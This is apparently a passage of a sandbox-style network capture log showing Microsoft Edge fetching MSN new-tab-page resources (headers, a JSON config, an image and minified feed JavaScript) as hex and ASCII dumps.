_EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; MUIDB=09C025F5A71D6FE2180F319FA60A6E8D; _C_ETH=1
2024-04-23 21:02:26 UTC	3345	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated Access-Control-Expose-Headers: TicketType,RequestContinuationKey,AuthToken,Content-Type,x-client-activityid,ms-cv,OneSvc-Uni-Feat-Tun,signedInCookieName,muid,appid,User-Location,user-location,userauthtoken,usertickettype,sitename,s2sauthtoken,thumbprint,Authorization,Ent-Authorization,UserIdToken,DDD-TMPL,DDD-ActivityId,DDD-FeatureSet,DDD-Session-ID,Date,date,ads-referer,ads-referer,taboola-sessionId,taboola-sessionid,Akamai-Request-ID,Akamai-Server-IP,X-MSEdge-Ref,DDD-DebugId,s-xbox-token,OneWebServiceLatency,X-FD-Features,DDD-UserType,traceparent,Widgets,Muted,Velocity,DDD-Auth-Features,SoftLanding,PrefMigrated DDD-AuthenticatedWithJwtFlow: False DDD-UserType: AnonymousMuid DDD-ActivityId: 662821e2-e616-4211-b574-144dab9633f5 DDD-StrategyExecutionLatency: 00:00:00.0052849 DDD-DebugId: 662821e2-e616-4211-b574-144dab9633f5\|2024-04-23T21:02:26.4983143Z\|fabric_msn\|ESU\|News_17 DDD-Auth-Features: MuidStateOrigin:MuidFromCookie OneWebServiceLatency: 7 X-MSEdge-ResponseInfo: 7 Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA X-Ceto-ref: 662821e2e6164211b574144dab9633f5\|AFD:662821e2e6164211b574144dab9633f5\|2024-04-23T21:02:26.484Z X-MSEdge-Ref: Ref A: 594E3EF87E584F2DB43D67BC3AE4F8F9 Ref B: ASHEDGE1520 Ref C: 2024-04-23T21:02:26Z Expires: Tue, 23 Apr 2024 21:02:26 GMT Date: Tue, 23 Apr 2024 21:02:26 GMT Content-Length: 580 Connection: close Set-Cookie: _C_ETH=1; expires=Mon, 22 Apr 2024 21:02:26 GMT; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; domain=.msn.com; path=/; httponly Akamai-Request-BC: [a=23.11.231.159,b=402748779,c=g,n=US_GA_ATLANTA,o=20940],[a=204.79.197.203,c=o] Server-Timing: clientrtt; dur=106, clienttt; dur=37, origin; dur=37 , cdntime; dur=0 Akamai-Cache-Status: NotCacheable from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801756b Access-Control-Allow-Methods: PUT,PATCH,POST,GET,OPTIONS,DELETE Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com X-AS-SuppressSetCookie: 1 Cache-Control: private, max-age=0 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906146.1801756b Vary: Origin
2024-04-23 21:02:26 UTC	580	IN	Data Raw: 7b 22 70 72 6f 66 69 6c 65 22 3a 6e 75 6c 6c 2c 22 6f 66 66 65 72 73 22 3a 6e 75 6c 6c 2c 22 6c 61 73 74 75 70 64 61 74 65 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 34 2d 32 33 54 32 31 3a 30 32 3a 32 36 2e 34 39 38 31 33 38 34 5a 22 2c 22 74 6f 6b 65 6e 73 22 3a 6e 75 6c 6c 2c 22 65 6c 69 67 69 62 6c 65 46 72 65 65 54 69 70 70 69 6e 67 22 3a 74 72 75 65 2c 22 65 6c 69 67 69 62 6c 65 46 72 65 65 53 75 62 73 63 72 69 70 74 69 6f 6e 22 3a 22 63 69 64 2d 62 37 31 37 31 38 37 38 33 33 66 36 39 37 39 65 2c 63 69 64 2d 38 35 61 33 31 63 66 63 64 38 38 64 62 62 37 35 2c 63 69 64 2d 35 35 61 35 66 30 35 32 36 34 36 64 62 62 37 65 2c 63 69 64 2d 38 34 30 65 37 66 66 32 37 63 35 39 37 63 65 38 2c 63 69 64 2d 64 66 34 34 34 32 36 35 63 32 38 65 31 39 62 34 2c 63 69 64 Data Ascii: {"profile":null,"offers":null,"lastupdatetime":"2024-04-23T21:02:26.4981384Z","tokens":null,"eligibleFreeTipping":true,"eligibleFreeSubscription":"cid-b717187833f6979e,cid-85a31cfcd88dbb75,cid-55a5f052646dbb7e,cid-840e7ff27c597ce8,cid-df444265c28e19b4,cid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49902	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	633	OUT	GET /staticsb/statics/latest/marketmismatch/bannerDisplayString/en-gb.json HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:26 UTC	1132	IN	HTTP/1.1 200 OK Content-Type: application/json Content-MD5: XLdZWQZUEe4kuEsBkI0rrg== Last-Modified: Tue, 23 Apr 2024 10:16:24 GMT ETag: 0x8DC637E6E22AB57 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: d4494bfe-a01e-00f9-4c87-95bcf8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:26 GMT Content-Length: 236 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748800,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017580 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906146.18017580 Vary: Origin
2024-04-23 21:02:26 UTC	236	IN	Data Raw: 7b 22 70 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 6c 6f 63 61 6c 69 7a 65 64 53 74 72 69 6e 67 73 22 3a 7b 22 68 65 61 64 22 3a 22 4e 6f 74 20 74 68 65 20 72 69 67 68 74 20 6c 61 6e 67 75 61 67 65 3f 22 2c 22 62 6f 64 79 22 3a 22 43 68 6f 6f 73 65 20 79 6f 75 72 20 70 72 65 66 65 72 72 65 64 20 72 65 67 69 6f 6e 20 61 6e 64 20 6c 61 6e 67 75 61 67 65 2e 22 2c 22 63 6f 6e 66 69 72 6d 42 75 74 74 6f 6e 4c 61 62 65 6c 22 3a 22 53 61 76 65 22 2c 22 63 61 6e 63 65 6c 42 75 74 74 6f 6e 4c 61 62 65 6c 22 3a 22 4e 6f 74 20 6e 6f 77 22 2c 22 61 63 63 65 70 74 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 4c 61 62 65 6c 22 3a 22 57 65 20 73 77 69 74 63 68 65 64 20 79 6f 75 72 20 6d 61 72 6b 65 74 20 74 6f 20 22 7d 7d 7d Data Ascii: {"properties":{"localizedStrings":{"head":"Not the right language?","body":"Choose your preferred region and language.","confirmButtonLabel":"Save","cancelButtonLabel":"Not now","acceptConfirmationLabel":"We switched your market to "}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49904	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	610	OUT	GET /tenant/amp/entityid/AA12Q7vH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:26 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12Q7vH Last-Modified: Tue, 16 Apr 2024 20:31:55 GMT X-Source-Length: 59948 X-Datacenter: westus X-ActivityId: 773f082d-71c5-4d8b-9af4-3f13a805d1a5 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 59948 Cache-Control: public, max-age=214292 Expires: Fri, 26 Apr 2024 08:33:58 GMT Date: Tue, 23 Apr 2024 21:02:26 GMT Connection: close
2024-04-23 21:02:26 UTC	15865	IN	Data Raw: ff d8 ff fe 00 10 4c 61 76 63 35 39 2e 33 36 2e 31 30 30 00 ff db 00 43 00 08 0c 0c 0e 0c 0e 10 10 10 10 10 10 13 12 13 14 14 14 13 13 13 13 14 14 14 15 15 15 19 19 19 15 15 15 14 14 15 15 18 18 19 19 1b 1c 1b 1a 1a 19 1a 1c 1c 1e 1e 1e 24 24 22 22 2a 2a 2b 33 33 3e ff c4 00 b0 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 02 03 00 04 01 05 06 07 08 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 10 00 02 01 02 03 04 05 08 06 08 05 03 04 02 02 03 00 01 02 03 11 04 21 12 51 31 41 13 52 91 61 22 05 42 14 62 a1 81 32 92 71 b1 82 a2 53 23 f0 e2 d1 b2 c1 06 d2 72 e1 93 c2 63 33 15 54 f1 43 f2 24 16 a3 44 73 83 c3 b3 34 84 11 01 01 00 02 01 03 03 03 03 04 01 04 02 03 01 00 00 01 11 02 12 31 21 03 41 51 13 61 04 22 91 71 14 81 a1 52 Data Ascii: Lavc59.36.100C$$""**+33>!Q1ARa"Bb2qS#rc3TC$Ds41!AQa"qR
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: 96 e0 29 d5 53 1b 53 52 d2 b7 71 39 50 86 ac cb 55 1d db b9 91 c9 18 57 5c 86 46 99 62 34 5d 9b 5b b7 bf 60 31 e0 8b 09 5e c9 36 bb 38 3d a4 ae 2a 49 24 af bc 2a 59 42 fb 5b ea 2c 4a 11 9b 49 3c d6 6f 60 2e 9e 59 31 02 96 fc 9e f2 d6 97 96 ed c2 d5 37 64 f8 5e d7 2f 25 ba d9 ad b6 df 90 97 21 39 69 69 5e eb 82 dd f3 63 93 73 57 6a df 21 70 71 57 d7 7e cd 3c 43 8c a4 b7 b7 1b bb 59 6c da 2a a3 25 87 b4 55 49 35 9a c9 7f 71 8e f2 a5 18 34 a2 96 6b 6e 7f b8 c8 a6 fb ad 3b 25 75 7e 0b 6b 32 ab e3 a9 6e dc 49 a8 ce 09 6e cd 94 24 a4 77 92 94 ec a0 93 b2 57 7b 8a b5 a9 d9 66 db 79 5e db b7 17 2a 6c 73 23 16 c2 97 74 36 ed bb 26 2d ee bb 1b 30 39 15 db 35 bb 80 36 36 b0 96 21 69 52 79 27 95 c4 52 65 5c 12 c4 e9 e8 7b f2 2a b7 9d 90 29 62 f6 b2 45 a8 52 e3 2d e0 Data Ascii: )SSRq9PUW\Fb4][`1^68=I$YB[,JI<o`.Y17d^/%!9ii^csWj!pqW~<CYl%UI5q4kn;%u~k2nIn$wW{fy^ls#t6&-09566!iRy'Re\{*)bER-
2024-04-23 21:02:26 UTC	3267	IN	Data Raw: 78 dc 7c 63 4e bc d5 29 6a 85 fb ae f7 c9 a5 da ce 96 23 c4 a5 88 a4 a9 5a 11 8a e8 c5 2b bb ef db 97 05 c0 f3 92 84 e5 9d d5 8c f9 72 bd 2c 50 aa 47 f0 d7 7a 57 5c 25 f2 df d9 92 4a d6 67 32 a6 f5 ba fb 50 75 6a 6a cb 81 5e e8 e9 9d 09 2c 77 fc 33 0b 87 ab 51 d4 c4 d5 8c 28 d2 6b 5a cf 5c 97 0b 47 2d 49 bc 9d 9d d1 e7 ee 5d a2 d7 7b b9 af ba f2 ce eb 2d ea db 37 81 ac d7 e5 ca a4 f9 79 41 c9 b4 ad 6c bb 17 05 b1 14 1e f0 e5 2d 80 ac d5 f8 92 4b 10 75 63 2d 74 e5 28 ce 19 df 73 3d 97 82 ca 9e 23 c5 61 57 11 3a aa 69 36 d3 c9 bd 30 4f c9 cd b7 2f 21 2d c7 93 c2 53 e7 55 51 94 f4 6f 77 6d 2d ca eb 37 95 f6 1f 43 c4 e0 61 e1 35 b0 ae 38 89 c2 3c d7 52 94 e7 18 56 df 4d 3d 52 8a b6 4a f9 db b6 c3 07 ff 00 11 60 ef 4a 35 e3 cc 54 ed 25 4a 94 7b f1 49 bb b9 3b Data Ascii: x\|cN)j#Z+r,PGzW\%Jg2Pujj^,w3Q(kZ\G-I]{-7yAl-Kuc-t(s=#aW:i60O/!-SUQowm-7Ca58<RVM=RJ`J5T%J{I;
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: 0f cf c2 53 bc 2f ee 9d 79 55 5f 9f fb 8a e7 c7 a2 8a 16 13 08 d1 e8 3f 87 fb 8f d3 4b a3 4f fc 39 1b e7 4b a2 8d f3 ce 03 4e 08 74 a9 ed a7 d4 57 70 5d 24 58 9e 21 74 4a fe 75 00 52 38 af 9f b6 7f e5 88 2a 50 59 7f 3f f9 a2 6f 9d 43 a2 82 f3 97 d1 89 00 fe 64 1f 95 2e a6 66 8f f5 8a dc f9 74 62 6f 32 4f 8a 15 69 2a fc 23 3f 26 ac 7e 10 6f 5a fe fa 9f b6 05 2b 54 e9 c8 67 2c 78 19 5f e7 4a 1b e5 6f 87 f7 48 cf 38 97 de 7d a8 95 55 25 e9 7c 24 e4 45 ed 03 5e e7 bf 2a 61 f9 cc 76 a3 99 e6 c2 fc d2 40 1d 7f 39 8e d4 4f 39 7e 91 ca f3 59 ed 13 e6 35 7a 64 d8 25 75 de 2a fb f5 31 91 ac bb 51 cc e4 54 8e c7 ed 1f 1a 2d 6f d4 bd a2 56 5d 2e 77 69 39 f2 29 72 65 b2 65 98 51 b6 ff 00 a4 58 6b c8 cf 39 ab d1 17 ce ad b0 b1 a5 07 a6 3b 04 b5 5e 75 4d b2 26 ba af 8b Data Ascii: S/yU_?KO9KNtWp]$X!tJuR8PY?oCd.ftbo2Oi#?&~oZ+Tg,x_JoH8}U%\|$E^av@9O9~Y5zd%u1QT-oV].wi9)reeQXk9;^uM&
2024-04-23 21:02:26 UTC	8048	IN	Data Raw: e2 4f 7a 9c 56 c5 12 89 9c 99 f4 65 d7 20 a1 4a 5d 27 d7 11 56 e9 ca b7 c3 29 7e d0 f4 e1 e9 fc 23 06 cf 9c bc a7 ea 36 35 2b 70 a8 d7 b1 7e a3 2d 0e d5 f5 3f b9 91 8a 7b 88 0b 7a eb fd e7 5c 49 cd c4 f4 e9 75 4b f9 4a fa 20 b8 ca 5f d5 2d 26 de 96 d8 fd 58 ea fb 40 b5 ce 6e 27 ef 29 fc 03 39 d8 8e 95 2f 81 95 bb 9e 87 d6 97 f9 62 0c 6c bc bd 7f 66 00 17 39 98 97 bd 52 7f 56 5f a8 9c ca 9e 54 69 fb 2e be 94 21 ce 3c 67 a3 db 60 14 a0 b7 56 8b fe a4 a5 f4 a0 07 f9 c4 97 93 0e b2 79 c3 e8 c3 ac 2c fe f6 9f b6 30 fd 46 e7 f7 94 be 08 fe a0 35 7f 3b 9f dd 20 fc ea 5f 70 fe d1 67 f1 38 55 a3 d4 85 7f ee 7e fa 88 02 7c e6 5f 70 fe d1 bc f5 ff 00 4c fe d0 fb e2 7e f6 89 3f f7 6f 75 4a 2c 13 62 bf 3a 9f fd 33 f5 93 9d 47 ee 27 f6 8b 16 c5 74 a9 93 56 27 6c 41 38 Data Ascii: OzVe J]'V)~#65+p~-?{z\IuKJ _-&X@n')9/blf9RV_Ti.!<g`Vy,0F5; _pg8U~\|_pL~?ouJ,b:3G'tV'lA8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49907	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:26 UTC	502	OUT	GET /bundles/v1/edgeChromium/latest/grid-view-feed.f421ed2fe498976a2181.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:26 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: U5n1qFgC/JE775poe4Q58w== Last-Modified: Tue, 23 Apr 2024 19:32:48 GMT ETag: 0x8DC63CC2856FA88 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: d36f0a9c-c01e-00bb-6ab5-9539ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:26 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402748806,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017586 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906146.18017586 Vary: Origin
2024-04-23 21:02:26 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 67 72 69 64 2d 76 69 65 77 2d 66 65 65 64 22 5d 2c 7b 34 36 34 32 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 47 72 69 64 56 69 65 77 46 65 65 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 65 7d 2c 47 72 69 64 56 69 65 77 46 65 65 64 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 65 7d 2c 47 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["grid-view-feed"],{4642:function(e,t,i){i.r(t),i.d(t,{GridViewFeed:function(){return he},GridViewFeedStyles:function(){return ye},G
2024-04-23 21:02:26 UTC	9395	IN	Data Raw: 39 31 35 30 29 2c 4d 65 3d 69 28 39 33 37 30 33 29 2c 53 65 3d 69 28 32 33 38 36 35 29 2c 46 65 3d 69 28 31 33 33 35 36 29 2c 54 65 3d 69 28 37 32 37 35 29 3b 53 65 2e 53 2c 46 65 2e 67 3b 63 6f 6e 73 74 20 6b 65 3d 77 65 2e 64 79 60 20 24 7b 65 3d 3e 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 63 6f 6e 66 69 67 2e 63 68 69 6c 64 45 78 70 65 72 69 65 6e 63 65 52 65 66 65 72 65 6e 63 65 73 57 43 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 61 72 64 41 63 74 69 6f 6e 29 26 26 28 30 2c 54 65 2e 4f 74 29 28 65 2e 63 6f 6e 66 69 67 2e 63 68 69 6c 64 45 78 70 65 72 69 65 6e 63 65 52 65 66 65 72 65 6e 63 65 73 57 43 2e 63 61 72 64 41 63 74 69 6f 6e 2c 7b 70 72 6f 70 65 72 74 69 65 73 3a 7b 75 73 65 45 Data Ascii: 9150),Me=i(93703),Se=i(23865),Fe=i(13356),Te=i(7275);Se.S,Fe.g;const ke=we.dy` ${e=>{var t;return(null===(t=e.config.childExperienceReferencesWC)\|\|void 0===t?void 0:t.cardAction)&&(0,Te.Ot)(e.config.childExperienceReferencesWC.cardAction,{properties:{useE
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 65 2e 67 29 28 28 65 3d 3e 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 63 6f 6e 66 69 67 2e 63 68 69 6c 64 45 78 70 65 72 69 65 6e 63 65 52 65 66 65 72 65 6e 63 65 73 57 43 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 61 72 64 41 63 74 69 6f 6e 29 26 26 21 28 65 2e 63 6f 6e 66 69 67 2e 75 73 65 4d 6f 62 69 6c 65 26 26 65 2e 66 65 65 64 4d 61 6e 61 67 65 72 2e 64 69 73 61 62 6c 65 43 61 72 64 41 63 74 69 6f 6e 41 6e 64 54 6f 61 73 74 29 7d 29 2c 6b 65 29 7d 0a 24 7b 74 74 7d 0a 60 2c 6e 74 3d 77 65 2e 64 79 60 0a 24 7b 28 30 2c 4d 65 2e 67 29 28 28 65 3d 3e 65 2e 66 65 65 64 4d 61 6e 61 67 65 72 2e 66 61 6c 6c 62 61 63 6b 46 65 65 64 26 26 21 65 2e 69 73 46 6f 6c 6c Data Ascii: 00006000e.g)((e=>{var t;return(null===(t=e.config.childExperienceReferencesWC)\|\|void 0===t?void 0:t.cardAction)&&!(e.config.useMobile&&e.feedManager.disableCardActionAndToast)}),ke)}${tt}`,nt=we.dy`${(0,Me.g)((e=>e.feedManager.fallbackFeed&&!e.isFoll
2024-04-23 21:02:26 UTC	8204	IN	Data Raw: 76 65 72 22 2c 6e 5b 22 76 69 64 65 6f 2d 63 61 72 64 22 5d 3d 22 63 73 2d 76 69 64 65 6f 2d 63 61 72 64 2d 6e 6f 2d 68 6f 76 65 72 22 2c 74 2e 65 6e 61 62 6c 65 4d 65 6d 6f 69 7a 65 49 6e 66 6f 70 61 6e 65 26 26 28 6e 5b 22 63 6f 6e 74 65 6e 74 2d 67 72 6f 75 70 22 5d 3d 22 63 6f 6e 74 65 6e 74 2d 67 72 6f 75 70 22 29 2c 28 74 2e 65 6e 61 62 6c 65 4c 61 72 67 65 49 6d 67 44 75 61 6c 74 6f 6e 65 43 61 72 64 7c 7c 74 2e 65 6e 61 62 6c 65 53 6d 61 6c 6c 49 6d 67 44 75 61 6c 74 6f 6e 65 43 61 72 64 29 26 26 28 6e 5b 22 61 72 74 69 63 6c 65 2d 63 61 72 64 22 5d 3d 22 63 73 2d 61 72 74 69 63 6c 65 2d 63 61 72 64 2d 6e 6f 2d 68 6f 76 65 72 2d 64 65 6e 73 65 22 2c 6e 5b 22 76 69 64 65 6f 2d 63 61 72 64 22 5d 3d 22 63 73 2d 76 69 64 65 6f 2d 63 61 72 64 2d 6e 6f Data Ascii: ver",n["video-card"]="cs-video-card-no-hover",t.enableMemoizeInfopane&&(n["content-group"]="content-group"),(t.enableLargeImgDualtoneCard\|\|t.enableSmallImgDualtoneCard)&&(n["article-card"]="cs-article-card-no-hover-dense",n["video-card"]="cs-video-card-no
2024-04-23 21:02:26 UTC	8682	IN	Data Raw: 30 30 30 30 32 31 44 45 0d 0a 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 2e 75 6e 6f 72 64 65 72 65 64 2d 6c 69 73 74 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 74 74 72 69 62 75 74 69 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 61 78 2d 77 69 64 74 68 3a 31 35 34 70 78 7d 2e 61 74 74 72 69 62 75 74 69 6f 6e 2d 63 6f 6e 64 65 6e 73 65 64 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 67 72 69 64 3b 67 72 69 64 2d 74 65 6d 70 6c 61 74 65 2d 63 6f 6c 75 6d 6e 73 3a 6d 69 6e 6d 61 78 28 30 70 78 2c 31 66 72 29 20 61 75 74 6f 3b 63 6f 6c 75 6d 6e 2d 67 61 70 3a 36 70 78 7d 2e 61 74 74 72 69 62 75 74 69 6f 6e 2d 63 6f 6e 64 65 6e 73 65 64 2d 63 6f 6e 74 61 Data Ascii: 000021DEalign-items:center}.unordered-list{list-style:none;padding:0}.attribution-container{display:flex;max-width:154px}.attribution-condensed-container{display:grid;grid-template-columns:minmax(0px,1fr) auto;column-gap:6px}.attribution-condensed-conta
2024-04-23 21:02:26 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 20 38 2e 35 20 30 20 30 20 30 20 30 2d 31 37 5a 4d 39 2e 30 35 33 20 38 2e 35 38 35 61 2e 35 2e 35 20 30 20 30 20 31 20 2e 35 38 37 2d 2e 32 35 36 6c 2e 30 38 34 2e 30 33 33 20 36 2e 33 38 32 20 33 2e 31 39 61 2e 35 2e 35 20 30 20 30 20 31 20 2e 30 37 36 2e 38 34 38 6c 2d 2e 30 37 36 2e 30 34 37 2d 36 2e 33 38 32 20 33 2e 31 39 31 61 2e 35 2e 35 20 30 20 30 20 31 2d 2e 37 31 36 2d 2e 33 35 37 4c 39 20 31 35 2e 31 39 56 38 2e 38 30 39 61 2e 35 2e 35 20 30 20 30 20 31 20 2e 30 35 33 2d 2e 32 32 34 5a 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 6e 6f 6e 7a 65 72 6f 22 20 66 69 6c 6c 3d 22 23 46 46 46 22 20 69 64 3d 22 f0 9f 8e a8 2d 43 6f 6c 6f 72 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 3c 2f 67 3e 0a 3c 2f 73 Data Ascii: 00004000 8.5 0 0 0 0-17ZM9.053 8.585a.5.5 0 0 1 .587-.256l.084.033 6.382 3.19a.5.5 0 0 1 .076.848l-.076.047-6.382 3.191a.5.5 0 0 1-.716-.357L9 15.19V8.809a.5.5 0 0 1 .053-.224Z" fill-rule="nonzero" fill="#FFF" id="-Color"/> </g> </g></s
2024-04-23 21:02:26 UTC	12	IN	Data Raw: 24 7b 65 3d 3e 65 2e 61 74 74 0d 0a Data Ascii: ${e=>e.att
